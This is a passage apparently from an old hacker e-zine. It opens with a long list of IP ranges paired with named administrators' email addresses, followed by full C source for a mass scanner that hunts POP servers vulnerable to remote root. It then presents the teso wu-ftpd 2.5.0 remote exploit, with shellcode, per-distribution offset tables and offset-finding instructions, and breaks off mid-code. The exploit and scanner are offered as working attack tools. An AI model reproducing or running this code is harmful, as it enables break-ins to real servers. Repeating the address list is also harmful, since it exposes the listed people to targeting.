engineering@nni.com 18 207.249.77.0 webmastercns@compuserve.com 18 208.15.164.0 tony@atapco-custom.com 18 208.199.187.0 meta4@interramp.com 18 207.18.199.0 help@uunet.uu.net 18 216.107.0.255 engineering@nni.com 18 216.107.5.255 engineering@nni.com 18 216.107.6.255 engineering@nni.com 18 216.107.7.255 engineering@nni.com 18 216.107.13.255 engineering@nni.com 18 216.107.18.255 engineering@nni.com 18 216.107.20.255 engineering@nni.com 18 216.107.23.255 engineering@nni.com 18 207.249.77.255 webmastercns@compuserve.com 18 207.126.125.255 noc@above.net 18 209.140.152.255 jeffd@coriolis.com 18 207.200.154.255 martinb@imag.net 18 208.15.18.0 NOC@sprint.net 18 207.10.95.0 sdm@rte.com 18 207.70.172.0 miker@lcc.net 18 209.70.51.255 hostmaster@clark.net 18 209.56.97.0 sfosseen@aea5.k12.ia.us 18 216.84.222.0 ahaley@texmed.org 18 209.226.229.0 noc@in.bell.ca 18 209.226.230.0 noc@in.bell.ca 18 209.226.231.0 noc@in.bell.ca 18 209.226.229.255 noc@in.bell.ca 18 209.226.230.255 noc@in.bell.ca 18 209.226.231.255 noc@in.bell.ca 18 208.11.81.0 darren@infobahn.icubed.com 18 207.177.122.0 noc@netins.net 18 208.22.251.0 cvmmjm@cc.vtvm1.vt.edu 18 209.87.57.255 franks@tu.bc.ca 18 208.11.81.255 darren@infobahn.icubed.com 18 206.218.143.255 rgernon@mail.doe.state.la.us 18 208.22.251.255 cvmmjm@cc.vtvm1.vt.edu 18 208.238.104.0 jerome@hwwilson.com 18 208.238.105.0 jerome@hwwilson.com 18 208.238.106.0 jerome@hwwilson.com 18 208.238.107.0 jerome@hwwilson.com 18 208.238.104.255 jerome@hwwilson.com 18 208.238.105.255 jerome@hwwilson.com 18 208.238.107.255 jerome@hwwilson.com 18 209.173.205.0 mgc@orbis.net 18 208.140.79.255 hostmaster@hiwaay.net 18 206.215.81.255 cale@cohesive.net 18 209.48.139.0 dns@digex.net 18 209.48.139.255 dns@digex.net 18 207.62.166.255 netadmin@moe.calpoly.edu 18 216.60.246.255 hostmaster@swbell.net 18 209.22.30.0 SUCHOVSA@aurora.afccc.af.mil 18 209.242.205.0 jim@alphachannel.com 18 209.136.218.0 gordon@roadrunner.com 18 209.22.30.255 SUCHOVSA@aurora.afccc.af.mil 18 209.78.60.255 nomailbox@nowhere 18 207.231.96.0 kenkos@usnetway.com 18 207.231.97.0 kenkos@usnetway.com 18 207.231.98.0 kenkos@usnetway.com 18 207.231.99.0 kenkos@usnetway.com 18 207.231.96.255 kenkos@usnetway.com 18 207.231.97.255 kenkos@usnetway.com 18 207.231.98.255 kenkos@usnetway.com 18 207.231.99.255 kenkos@usnetway.com 17 24.238.2.0 bobby@ols.net 17 63.65.8.0 twright@cathedral.org 17 63.67.135.0 robb@microedge.com 17 63.67.135.255 robb@microedge.com 17 63.68.114.0 jkrainak@c3design.com 17 131.64.244.0 SSNYDER@cols.disa.mil 17 131.64.247.255 SSNYDER@cols.disa.mil 17 152.43.31.0 17 152.43.31.255 17 152.9.54.0 westg@mars.nccu.edu 17 152.9.54.255 westg@mars.nccu.edu 17 161.223.69.0 17 161.223.69.255 17 161.223.77.0 17 192.176.123.255 BER@sunic.sunet.se 17 192.246.229.0 hostinfo@psi.com 17 192.246.229.255 hostinfo@psi.com 17 192.58.24.0 holly.wales@msfc.nasa.gov 17 192.58.24.255 holly.wales@msfc.nasa.gov 17 192.58.25.0 holly.wales@msfc.nasa.gov 17 192.58.25.255 holly.wales@msfc.nasa.gov 17 192.72.46.0 kaoci@tpts1.seed.net.tw 17 192.93.178.255 Annie.Renard@inria.fr 17 193.106.12.255 yp@jouve.fr 17 193.113.60.0 kevin.bates@bt.com, adrian.pauling@bt.com, kevin.bates@bt.com, adrian.pauling@bt.com, steve.a.marshall@bt.com 17 193.119.172.255 17 193.12.151.255 17 193.140.198.0 ozturanm@boun.edu.tr, baysalc@boun.edu.tr 17 193.254.6.0 anders.rosendal@umea.se 17 193.254.6.255 anders.rosendal@umea.se 17 193.39.17.255 NONE, NONE 17 193.5.67.0 admin@rolotec.ch, apm@rolotec.ch 17 193.73.186.0 peters@sig.ch, pete@concentra.co.uk, admin@pks.be, pete@concentra.co.uk 17 194.107.62.0 17 194.122.105.0 holger.kipp@pmc.de 17 194.122.217.0 bandle@mmc.de 17 194.143.185.255 dinesh@nettec.co.uk, craig@manda.co.uk 17 194.143.230.0 kjanos@elender.hu 17 194.168.222.0 nmc@ntli.net, nmc@ntli.net 17 194.168.222.255 nmc@ntli.net, nmc@ntli.net 17 194.19.64.0 17 194.19.64.255 17 194.199.121.0 maxcasty@tin.it 17 194.199.121.255 maxcasty@tin.it 17 194.207.0.0 hostmaster@vbc.net 17 194.254.147.0 marteau@astrsp-mrs.fr, bazzoli@cppm.in2p3.fr, aperio@luminy.univ-mrs.fr 17 194.254.147.255 marteau@astrsp-mrs.fr, bazzoli@cppm.in2p3.fr, aperio@luminy.univ-mrs.fr 17 194.254.148.0 marteau@astrsp-mrs.fr, bazzoli@cppm.in2p3.fr, aperio@luminy.univ-mrs.fr 17 194.254.148.255 marteau@astrsp-mrs.fr, bazzoli@cppm.in2p3.fr, aperio@luminy.univ-mrs.fr 17 194.254.149.0 marteau@astrsp-mrs.fr, bazzoli@cppm.in2p3.fr, aperio@luminy.univ-mrs.fr 17 194.254.149.255 marteau@astrsp-mrs.fr, bazzoli@cppm.in2p3.fr, aperio@luminy.univ-mrs.fr 17 194.64.180.0 j.unger@choin.net 17 194.64.229.0 wedel@pharma.de 17 194.72.192.0 djn@enterprise.net 17 194.72.192.255 djn@enterprise.net 17 194.8.203.0 mag@dumont.de 17 195.122.23.0 guntars_lorencis@farmdep.gov.lv, Aleks.Maslobojev@apollo.lv 17 195.122.23.255 guntars_lorencis@farmdep.gov.lv, Aleks.Maslobojev@apollo.lv 17 195.146.91.0 smp@adonis.iasnet.com, plat@kiae.su, bon@ripn.net, incoming@monga.ripn.net, lsy@kiae.su 17 195.152.110.0 doug@uk.psi.com 17 195.152.110.255 doug@uk.psi.com 17 195.17.80.0 mti@softnet.se 17 195.249.225.0 17 195.27.52.255 barkau@os-net.de 17 195.29.255.0 Mirta.Matic@tel.hr, Anela.Lovric@tel.hr, krunoslav.kedmenec@tel.hr, Petar.Andrijasevic@tel.hr 17 195.29.255.255 Mirta.Matic@tel.hr, Anela.Lovric@tel.hr, krunoslav.kedmenec@tel.hr, Petar.Andrijasevic@tel.hr 17 195.34.168.0 wolf@ipm.net 17 195.41.205.0 17 195.65.87.255 jb@rolotec.ch, admin@rolotec.ch 17 198.142.96.0 matt@mpx.com.au 17 198.142.96.255 matt@mpx.com.au 17 198.214.160.0 D.Nash@utexas.edu 17 198.214.160.255 D.Nash@utexas.edu 17 198.214.61.0 jayr@tenet.edu 17 198.214.61.255 jayr@tenet.edu 17 198.4.175.0 help@uunet.uu.net 17 198.6.114.0 net-admin@intac.com 17 198.6.114.255 net-admin@intac.com 17 198.64.7.0 hostmaster@sesqui.net 17 198.64.7.255 hostmaster@sesqui.net 17 199.111.95.0 jaj@virginia.edu 17 199.111.95.255 jaj@virginia.edu 17 199.117.52.0 aesmoot@aescon.com 17 199.117.52.255 aesmoot@aescon.com 17 199.120.113.0 noc@netins.net 17 199.120.113.255 noc@netins.net 17 199.120.114.0 noc@netins.net 17 199.120.114.255 noc@netins.net 17 199.221.104.0 krish@ans.net 17 199.249.18.255 Jim.Avera@mci.com 17 199.250.226.0 dnstech@eni.net 17 199.29.174.0 hostinfo@psi.com 17 199.29.174.255 hostinfo@psi.com 17 199.72.10.0 hostmaster@interpath.net 17 199.72.10.255 hostmaster@interpath.net 17 200.15.12.255 hostmaster@sesqui.net 17 200.28.35.0 wmaldona@ctcreuna.cl 17 200.28.35.255 wmaldona@ctcreuna.cl 17 200.28.95.0 wmaldona@ctcreuna.cl 17 200.32.73.0 tlynch@impsat.com 17 200.32.73.255 vgadda@impsat.com 17 200.39.95.255 emoreno@nextgeninteinter.net 17 202.135.82.0 17 202.160.12.0 rao@technet.sg 17 202.211.34.0 technical@apnic.net 17 202.219.0.255 technical@apnic.net 17 202.248.2.255 hostmaster@nic.ad.jp 17 202.69.0.0 abraham@hk.net, williamw@hk.net 17 202.69.0.255 abraham@hk.net, williamw@hk.net 17 202.69.1.0 abraham@hk.net, williamw@hk.net 17 202.69.1.255 abraham@hk.net, williamw@hk.net 17 202.99.5.255 17 203.127.207.0 17 203.127.207.255 17 203.139.164.255 hostmaster@nic.ad.jp 17 203.141.1.0 hostmaster@nic.ad.jp 17 203.141.1.255 hostmaster@nic.ad.jp 17 203.240.193.0 mgr@matrix.shinbiro.com, ip@matrix.shinbiro.com 17 204.131.142.0 emontero@gmgw.com 17 204.152.71.0 Bill_Hutchison@cesoft.com 17 204.153.162.0 dkirk@corpcomm.net 17 204.153.162.255 dkirk@corpcomm.net 17 204.161.32.255 jawright@fresno.edu 17 204.161.33.255 jawright@fresno.edu 17 204.241.124.0 hostinfo@psi.com 17 204.241.124.255 hostinfo@psi.com 17 204.246.130.0 support@vii.com 17 204.246.130.255 support@vii.com 17 204.246.132.255 support@vii.com 17 204.34.24.0 17 204.34.24.255 17 204.48.150.255 tuma@ceo.sbceo.k12.ca.us 17 204.48.151.0 tuma@ceo.sbceo.k12.ca.us 17 204.48.151.255 tuma@ceo.sbceo.k12.ca.us 17 204.48.152.0 tuma@ceo.sbceo.k12.ca.us 17 204.50.83.0 noc@sprint-canada.net 17 204.57.86.0 Miller@sidlinger.com 17 204.57.86.255 Miller@sidlinger.com 17 205.138.176.0 brian@dstream.net 17 205.138.176.255 brian@dstream.net 17 205.139.65.0 jsohn@saber.net 17 205.139.65.255 jsohn@saber.net 17 205.153.28.0 MWilliams@charter.com 17 205.163.15.0 bblue@cts.com 17 205.163.38.0 sbeverly@wavegate.com 17 205.187.159.0 Louis_Lee@icgcomm.com 17 205.213.151.0 nic@mail.wiscnet.net 17 205.213.168.0 jmcmaho2@sevastopol.k12.wi.us 17 205.229.125.0 twright@cathedral.org 17 205.229.126.0 twright@cathedral.org 17 205.241.209.0 Niels@opup.org 17 205.241.209.255 Niels@opup.org 17 205.253.22.0 karl@mcs.com 17 205.253.22.255 karl@mcs.com 17 206.109.202.0 william@neosoft.com 17 206.109.202.255 william@neosoft.com 17 206.13.40.255 jonathan@sonic.net 17 206.137.31.255 mconelly@napc.com 17 206.148.35.0 dan@nyrealty.com 17 206.148.35.255 dan@nyrealty.com 17 206.149.62.255 reginfo@nkn.net 17 206.152.160.0 tim@lanline.com 17 206.152.161.255 tom@lanline.com 17 206.166.244.0 mwilliam@ptc.dcs.edu 17 206.175.129.255 hostmaster@wcom.net 17 206.211.73.255 renae.h.key@gte.sprint.com 17 206.211.73.0 renae.h.key@gte.sprint.com 17 212.182.3.255 Andrzej.Resztak@admins.man.lublin.pl, lan- admin@umcs.lublin.pl 17 212.182.2.0 Andrzej.Resztak@admins.man.lublin.pl, lan- admin@umcs.lublin.pl 17 206.222.161.255 uurtamo@insync.net 17 212.182.2.255 Andrzej.Resztak@admins.man.lublin.pl, lan- admin@umcs.lublin.pl 17 212.182.3.0 Andrzej.Resztak@admins.man.lublin.pl, lan- admin@umcs.lublin.pl 17 209.208.185.0 hostmaster@pfmc.net 17 206.72.199.0 maz@albany.net 17 208.145.204.0 admin@lisco.com 17 207.50.249.0 nomailbox@nowhere 17 208.145.204.255 admin@lisco.com 17 207.1.208.255 lbemerer@lmccinti.com 17 207.50.249.255 nomailbox@nowhere 17 207.171.205.0 jfreire@proxysf.com 17 207.165.77.255 dave.klinkefus@icn.state.ia.us 17 207.171.205.255 jfreire@proxysf.com 17 209.39.0.0 netadmin@onramp.net 17 206.99.45.0 egra@adinet.com.uy 17 206.99.50.0 egra@adinet.com.uy 17 216.214.144.0 noc@megsinet.net 17 206.99.45.255 egra@adinet.com.uy 17 206.99.50.255 egra@adinet.com.uy 17 208.151.220.255 ipswip@cw.net 17 207.233.25.0 nes@4c.net 17 212.182.63.0 Andrzej.Resztak@admins.man.lublin.pl, lan- admin@umcs.lublin.pl @HWA 33.0 pop.c QPOP vulnerability scanner by duro ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ /* POPScan QPOP/UCB/SCO scanner by duro duro@dorx.net takes list of ip's from stdin The hosts gathered by this scanner are almost 100% vulnerable to a remote root attack. The exploits used to root the vulnerable machines can all be found by searching bugtraq. UCB pop is 100% of the time vulnerable to the qpop exploit (it's a very old version of qpop). The QPOP version is filitered to make sure that non-vulnerable versions do not show up in the scan. Common offsets for the bsd qpop exploit are: 621, 1500, 500, 300, 900, 0 Example usage: ./z0ne -o ac.uk | ./pops > ac.uk.log & would scan ac.uk for vulnerabilities. much help from jsbach */ #include #include #include #include #include int ADMtelnet (u_long, int port); char domain[50]; int NUMCHILDREN = 150, currchilds = 0; /* change numchildren to taste */ char ip[16]; int temp1 = 0; void scan(char *ip); void alrm(void) { return; } main() { while( (fgets(ip, sizeof(ip), stdin)) != NULL) switch(fork()) { case 0: { scan(ip); exit(0); } case -1: { printf("cannot fork so many timez@!@^&\n"); exit(0); break; } default: { currchilds++; if (currchilds > NUMCHILDREN) wait(NULL); break; } } } void scan(char *ip) { char printip[16]; struct sockaddr_in addr; int sockfd; char buf[512]; bzero((struct sockaddr_in *)&addr, sizeof(addr)); sockfd = socket(AF_INET, SOCK_STREAM, 0); addr.sin_addr.s_addr = inet_addr(ip); addr.sin_port = htons(110); addr.sin_family = AF_INET; signal(SIGALRM, alrm); alarm(5); if ( (connect(sockfd, (struct sockaddr *)&addr, sizeof(addr)) != -1)) { recv(sockfd, (char *)buf, sizeof(buf), 0); if ( (strstr(buf, "QPOP") ) != NULL && (strstr(buf, "2.5")) == NULL && (strstr(buf, "krb")) == NULL) { checkos(ip,1); } if((strstr(buf, "UCB")) != NULL) checkos(ip,2); if((strstr(buf, "SCO")) != NULL) { strcpy(printip, ip); if ((temp1=strrchr(printip, '\n')) != NULL) bzero(temp1, 1); printf("%s: SCO Unix box running SCO pop.\n",printip); } } return; } // } checkos(char *ip, int spl) { int temp2; char printip[16]; unsigned long temp; temp = inet_addr(ip); temp2 = ADMtelnet(temp, 23); strcpy(printip, ip); if ((temp1=strrchr(printip, '\n')) != NULL) bzero(temp1, 1); if ((temp2 == 1)&&(spl==1)) printf("%s: OpenBSD box running vuln QPOP\n",printip); if ((temp2 == 1)&&(spl==2)) printf("%s: OpenBSD box running vuln UCB pop\n",printip); if ((temp2 == 2)&&(spl==1)) printf("%s: FreeBSD box running vuln QPOP\n",printip); if ((temp2 == 2)&&(spl==2)) printf("%s: FreeBSD box running vuln UCB pop\n",printip); if ((temp2 == 3)&&(spl==1)) printf("%s: BSDi box running vuln QPOP\n",printip); if ((temp2 == 3)&&(spl==2)) printf("%s: BSDi box running vuln UCB pop\n",printip); } int ADMtelnet (u_long ip, int port) { struct sockaddr_in sin; u_char buf[4000]; int dasock, len; int longueur = sizeof (struct sockaddr_in); dasock = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP); /* gimme a socket */ sin.sin_family = AF_INET; sin.sin_port = htons (port); sin.sin_addr.s_addr = ip; if (connect (dasock, (struct sockaddr *) &sin, longueur) == -1) return (-1); while (1) { memset (buf, 0, sizeof (buf)); if ((len = read (dasock, buf, 1)) <= 0) break; if (*buf == (unsigned int) 255) { read (dasock, (buf + 1), 2); if (*(buf + 1) == (unsigned int) 253 && !(u_char) * (buf + 2)); else if ((u_char) * (buf + 1) == (unsigned int) 253) { *(buf + 1) = 252; write (dasock, buf, 3); } } else { if (*buf != 0) { bzero (buf, sizeof (buf)); read (dasock, buf, sizeof (buf)); usleep(40000); if((strstr(buf, "OpenBSD") != NULL)) return 1; if((strstr(buf, "FreeBSD") != NULL)) return 2; if((strstr(buf, "BSDI") != NULL)) return 3; sleep (1); } } } return 0; } @HWA 34.0 'Integrated FTP attack facility' by typo/teso ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From http://www.hack.co.za/ /* ifaf ? integrated ftp attack facility ifafoffuffoffaf sounds much better Code by typo/teso '99. http://teso.scene.at/ - DO NOT USE, DO NOT DISTRO. _----------------------------------------------------------------------------_ Ok, so edi found a way to bruteforce.. we made bruteforcing test code, but wuftpd is too boring to finetune it.. enjoy this sploit in the meanwhile. Send me offsets (see below) to typo@scene.at. -____________________________________________________________________________- Contributors: Bulba of LaM3rZ (thanks for the shellcode and the example w.sh) edi (found a way to only have to find 2(!) offsets, he is hardcore!) lcamtuf (dziekuje tobie za ostatunia noc) Grue (helped me thinking, and testing, rh5.2, rh5.1 offsets) scut (minor include and style fixes) smiler (asm bugfixing), stealth (hellkit rox) Greets: Lam3rZ, ADM, THC, beavuh, and most other people that know us. */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include /* LaM3rZ shellcode */ unsigned char lamerz[]= "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb" "\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31" "\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\x01\xb0\x27\xcd" "\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31\xdb" "\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d\x5e" "\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46\x09" "\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8\x88" "\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\x89" "\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0\x31" "\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\x30\x62\x69\x6e" "\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x6e\x67"; /* teso code: write(1,"teso\n",5); exit(0); */ unsigned char testcode[] = "\xeb\x1c\x31\xc0\x59\x31\xd2\x31\xdb\xb3\x01\xb2\x05\xb0" "\x0b\xfe\xc8\x88\x41\x04\xb0\x04\xcd\x80\x30\xdb\xb0\x01" "\xcd\x80\xe8\xdf\xff\xff\xfftesox"; /* teso code: ioctl(, 0x5309, 0); */ unsigned char cdcode[] = "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\xeb\x36\x5b\xff\x0b\xff\x4b\x04" "\x4b\x80\x6b\x0b\x35\x43\x31\xc0\x31\xc9\x31\xd2\xb0\x05\x66\xb9\x04\x08" "\x66\xba\x9a\x02\xcd\x80\x89\xc3\x31\xc0\x31\xc9\x31\xd2\xb0\x36\x66\xb9" "\x09\x53\xcd\x80\x31\xc0\x31\xdb\xb0\x01\xcd\x80\xe8\xc5\xff\xff\xff" "\x30\x64\x65\x76\x30\x63\x64\x72\x6f\x6d\x35"; /* uh.. script kiddies suck. */ char *shellcode = cdcode; typedef struct dir *dirptr; struct dir { char *name; dirptr next; } dirproto; void title (void); void usage (const char *me); void connect_to_ftp (void); void log_into_ftp (void); void parseargs (int argc, char **argv); void cleanup_and_exit (void); int x2port (const char *smtn); void err (int syserr, const char *msg, ...); int cwd (const char *path); int mkd (char *name); int rmd (char *name); int is_writable (void); void getpwd (void); int recurse_writable (void); void *xmalloc (size_t size); void *xcalloc (int factor, size_t len); char *xstrdup (const char *s); ssize_t xread (int fd, void *buf, size_t count); ssize_t xwrite (int fd, const void *buf, size_t count); int xbind (int sockfd, struct sockaddr *my_addr, int addrlen); int xsocket (int domain, int type, int protocol); int xsetsockopt (int s, int level, int optname, const void *optval, unsigned int optlen); int xconnect (int sockfd, struct sockaddr *serv_addr, int addrlen); void sighandler (int signal); struct hostent *xgethostbyname (const char *name); struct hostent *xgethostbyaddr (const char *addr, int len, int type); void putserv (const char *fmt, ...); char *getline (void); char *getmsg (const char *msg); int wuftpd_250_sploitit (void); dirptr newdir (char *name); char *getdir (char *stat); char *int2char (int addr); int check_test_return(); /*---------------------------------------------------------------- *** How to get offsets *** ------------------------------------------------------------------ Edis elite way of getting offsets: objdump --disassemble in.ftpd | egrep -6 "3c 2e|0f bf 43 06" | grep "\$0x80" | awk '{print $8}' ------------------------------------------------------------------ My lame way of getting offsets: (as many people have asked: search for ltrace at http://freshmeat.net/) tty1: nc 0 21 USER someuser PASS hispass tty2: ltrace -S -p pid_of_ftpd 2>&1 | egrep "SYS_chdir|longjmp" tty1: CWD /not/current/dir MOO QUIT tty2: first argument of first SYS_chdir is mapped_path offset. first argument of longjmp is errcatch offset ------------------------------------------------------------------ try 4096 and/or 1024 for maxpathlen (works 99% of the time). ------------------------------------------------------------------*/ struct sploitdata { char *banner; char *desc; char pad_eax; unsigned int maxpathlen; unsigned int mapped_path; unsigned int errcatch; int (*code)(); int need_writable; }; #define START_MAPPED 0x08060000 struct sploitdata spdata[] = { { "FTP server (Version wu-2.5.0(1) Tue Jun 8 08:55:12 EDT 1999)", "rh6 - wu-ftpd-2.5.0-2.i386.rpm", 0, 4096, 0x0806a1e0, 0x08077fc0, wuftpd_250_sploitit, 1, }, { "Fri May 21 10:45:57 EDT 1999", "rh5.1 - wu-ftpd-2.5.0-1.RH5-1.i386.rpm", 0, 1024, 0x08066890, 0x0806fcc0, wuftpd_250_sploitit, 1, }, { "Tue Jun 8 11:19:44 EDT 1999", "rh5.2 - wu-ftpd-2.5.0-0.5.2.i386.rpm", 0, 1024, 0x08067504, 0x08077fc0, wuftpd_250_sploitit, 1, }, { "FTP server (Version wu-2.5.0(1) Sat Sep 11 01:19:26 CEST 1999)", "debian 2.1 - standard source compilation", 0, 1024, 0x806928c, 0x8071a80, wuftpd_250_sploitit, 1, }, { "FTP server (Version wu-2.5.0(1)", "rh6.0 wu-ftpd-2.5.0.tar.gz - standard source compilation", 0, 4096, 0x8068f80, 0x8076d60, wuftpd_250_sploitit, 1, }, { NULL, NULL, 0, 0, 0, 0, NULL, 0, } }; struct sploitdata *sptr = spdata; int debug = 0, disp = 1, fd = 0, nostat = 1, offset_selected = 0; struct tesopt { char *user; char *host; char *pass; char *cwd; char *rev; char *dirname; int dirlen; char testonly; char dirscanonly; unsigned short int sport; unsigned short int port; struct hostent *he; } tesopt; struct hostinf { char *header; char *pwd; char *writable_dir; int pwdlen; } hostinf; #define COLOR #ifdef COLOR #define C_NORM "\E[0m" #define C_BOLD "\E[1m" #define C_GREEN "\E[32m" #define C_RED "\E[31m" #define C_BROWN "\E[33m" #define C_BLUE "\E[34m" #define C_PINK "\E[35m" #define C_CYAN "\E[36m" #define C_YELL "\E[33m" #else #define C_NORM "" #define C_BOLD "" #define C_GREEN "" #define C_RED "" #define C_BROWN "" #define C_BLUE "" #define C_PINK "" #define C_CYAN "" #define C_YELL "" #endif /* title * * print title * * no return value */ void title (void) { printf (C_BOLD"---"C_GREEN"teso"C_NORM C_GREEN"ftpd"C_NORM C_BOLD"---" C_NORM"\n"); return; } /* newdir * * return a pointer to a new dir with name name * * pointer to dir structure */ dirptr newdir (char *name) { dirptr tmp; tmp = (dirptr) xmalloc (sizeof (dirproto)); tmp->name = xstrdup (name); tmp->next = NULL; return (tmp); } /* usage * * print usage * * no return value */ void usage (const char *me) { struct sploitdata *cow; int i = 0; /* printf ("usage: %s\n\n", me); */ printf ("-h - this help\n" "-s - specify server\n" "-p - destination port\n" "-f - source port\n" "-v(v) - increase verboseness, use twice for full verboseness\n" "-u - user name to use for login\n" "-P - password to use for login\n" "-c - directory to cwd to after login\n" "-d - directory to test writeability with\n" "-r - revlookup this host sees you with\n" "-D - specifies the directory length\n" "-T - use test shellcode (prints success, spawns no shell)\n" "-t :\n"); for (cow = spdata ; cow->desc ; ++cow) { printf ("%s-%s %3d %s%s-%s\n%s\n%s\n", C_BOLD, C_GREEN, i++, C_NORM, C_BOLD, C_NORM, cow->banner, cow->desc); } printf ("%s-%s EOO %s%s-%s\n", C_BOLD, C_GREEN, C_NORM, C_BOLD, C_NORM); exit (EXIT_FAILURE); } /* sighandler * * handle signals * * no return value */ void sighandler (const int signal) { printf ("received signal: %d... exiting!\n", signal); cleanup_and_exit (); } /* err * * print an error message. if arg0 is set add an errno message (perror like) * exit afterwards * * no return value */ void err (const int syserr, const char *msg, ...) { va_list ap; printf ("%serr:%s ", C_RED, C_NORM); va_start (ap, msg); vprintf (msg, ap); va_end (ap); if (syserr) { printf (": %s\n", sys_errlist[errno]); } else { printf ("\n"); } cleanup_and_exit(); return; } /* parseargs * * parse arguments * * no return value (exit on failure) */ void parseargs (int argc, char **argv) { char c; opterr = 0; tesopt.user = "anonymous"; tesopt.pass = "m@y.kr"; tesopt.dirname = "tesotest"; tesopt.port = 21; tesopt.sport = 666; tesopt.cwd = ""; tesopt.dirlen = 255; tesopt.testonly = 0; tesopt.dirscanonly = 0; while ((c = getopt (argc, argv, "vhs:p:f:u:P:c:d:D:r:t:bTo")) != EOF) { switch (c) { case 'v': ++debug; break; case 'h': usage (argv[0]); break; case 's': tesopt.host = optarg; break; case 'p': if (optarg != NULL) tesopt.port = x2port (optarg); break; case 'f': if (optarg != NULL) tesopt.sport = x2port (optarg); break; case 'u': if (optarg != NULL) tesopt.user = optarg; break; case 'P': if (optarg != NULL) tesopt.pass = optarg; break; case 'c': if (optarg != NULL) tesopt.cwd = optarg; break; case 'd': if (optarg != NULL) tesopt.dirname = optarg; break; case 'r': if (optarg != NULL) tesopt.rev = xstrdup (optarg); break; case 'D': tesopt.dirlen = atoi(optarg); break; case 't': sptr += atoi(optarg); offset_selected = 1; if (!sptr->desc) { err (0, "invalid offset set"); } break; case 'T': shellcode = testcode; tesopt.testonly = 1; break; case 'o': tesopt.dirscanonly = 1; break; } } if (tesopt.host == NULL) err (0, "server not specified (see -h)"); if (tesopt.port == 0) err (0, "port not or incorrectly specified (see -h)"); if (tesopt.sport == 0) err (0, "sport not or incorrectly specified (see -h)"); if (tesopt.dirlen == 0) err (0, "illegal dirlen!\n"); tesopt.he = xgethostbyname (tesopt.host); return; } struct hostent * xgethostbyname (const char *name) { struct hostent *tmp; tmp = gethostbyname (name); if (tmp == NULL) err (1, "cannot gethostbyname"); return (tmp); } struct hostent * xgethostbyaddr (const char *addr, int len, int type) { struct hostent *tmp; tmp = gethostbyaddr (addr, len, type); if (tmp == NULL) err(1,"cannot gethostbyaddr"); return (tmp); } /* xmalloc * * wrap malloc with error handling * * return or abort */ void * xmalloc (size_t size) { void *tmp = malloc (size); if (tmp == NULL) err (1, "malloc failed"); return (tmp); } /* xcalloc * * wrap calloc with error handling * * return or abort */ void * xcalloc (int factor, size_t len) { void *new = calloc (factor, len); if (new == NULL) err (1, "calloc failed"); return (new); } /* xstrdup * * wrap strdup with error handling * * return or abort */ char * xstrdup (const char *s) { char *tmp; tmp = strdup (s); if (tmp == NULL) err (1, "strdup failed"); return (tmp); } /* xread * * read with error handling * * return length of readen data */ ssize_t xread (int fd, void *buf, size_t count) { int tmp; tmp = read (fd, buf, count); if (tmp < 1) err (1, "read failed"); return (tmp); } /* xwrite * * write with error handling * * return length of written data */ ssize_t xwrite (int fd, const void *buf, size_t count) { int tmp; tmp = write (fd, buf, count); if (tmp < 0) err (1, "write failed"); return (tmp); } /* xbind * * bind with error handling * * return bound socket */ int xbind (int sockfd, struct sockaddr *my_addr, int addrlen) { int tmp; tmp = bind (sockfd, (struct sockaddr *) my_addr, addrlen); if (tmp < 0) err (1, "bind failed"); return (tmp); } /* xsocket * * socket with error handling * * return allocated socket descriptor */ int xsocket (int domain, int type, int protocol) { int tmp; tmp = socket (domain, type, protocol); if (tmp < 0) err (1, "socket failed"); return (tmp); } /* xsetsockopt * * setsockopt with error handling */ int xsetsockopt (int s, int level, int optname, const void *optval, unsigned int optlen) { int tmp; tmp = setsockopt (s, level, optname, optval, optlen); if (tmp < 0) err (1, "setsockopt failed"); return (tmp); } /* xconnect * * connect with error handling */ int xconnect (int sockfd, struct sockaddr *serv_addr, int addrlen) { int tmp; tmp = connect (sockfd, serv_addr, addrlen); if (tmp < 0) err (1, "connect failed"); return (tmp); } /* connect_to_ftp * * connect to ftpserver and resolve local ip * * return nothing */ void connect_to_ftp (void) { int i = 1; struct sockaddr_in sin; struct hostent *he; fd = xsocket (AF_INET, SOCK_STREAM, 0); xsetsockopt (fd, SOL_SOCKET, SO_REUSEADDR, &i, sizeof (i)); bzero (&sin, sizeof (sin)); sin.sin_family = AF_INET; // sin.sin_port = htons (tesopt.sport); sin.sin_addr.s_addr = 0; xbind (fd, (struct sockaddr*) &sin, sizeof (sin)); sin.sin_port = htons (tesopt.port); sin.sin_family = AF_INET; memcpy (&sin.sin_addr.s_addr, tesopt.he->h_addr, sizeof (struct in_addr)); xconnect (fd, (struct sockaddr*) &sin, sizeof (sin)); /* this is a good time to get our revlookup (if not user defined) */ if (tesopt.rev == NULL) { i = sizeof (sin); getsockname (fd, (struct sockaddr *) &sin, &i); he = gethostbyaddr ((char *) &sin.sin_addr, sizeof (sin.sin_addr), AF_INET); tesopt.rev = xstrdup (he->h_name); } printf ("Connected! revlookup is: %s, logging in...\n", tesopt.rev); return; } /* putserv * * send data to the server */ void putserv (const char *fmt, ...) { va_list ap; unsigned char output[1024]; int i, total; memset (output, '\0', sizeof (output)); va_start (ap, fmt); vsnprintf (output, sizeof (output) - 1, fmt, ap); va_end (ap); /* this is edis code */ total = strlen (output); for (i = 0; i < total; i++) { if (output[i] == 0xff) { memmove (output + i + 1, output + i, total - i); total++; i++; } } if (disp != 0 && (debug > 1)) printf ("%s%s%s", C_BLUE, output, C_NORM); xwrite (fd, output, total); return; } #define LINEBUFLEN 8192 char 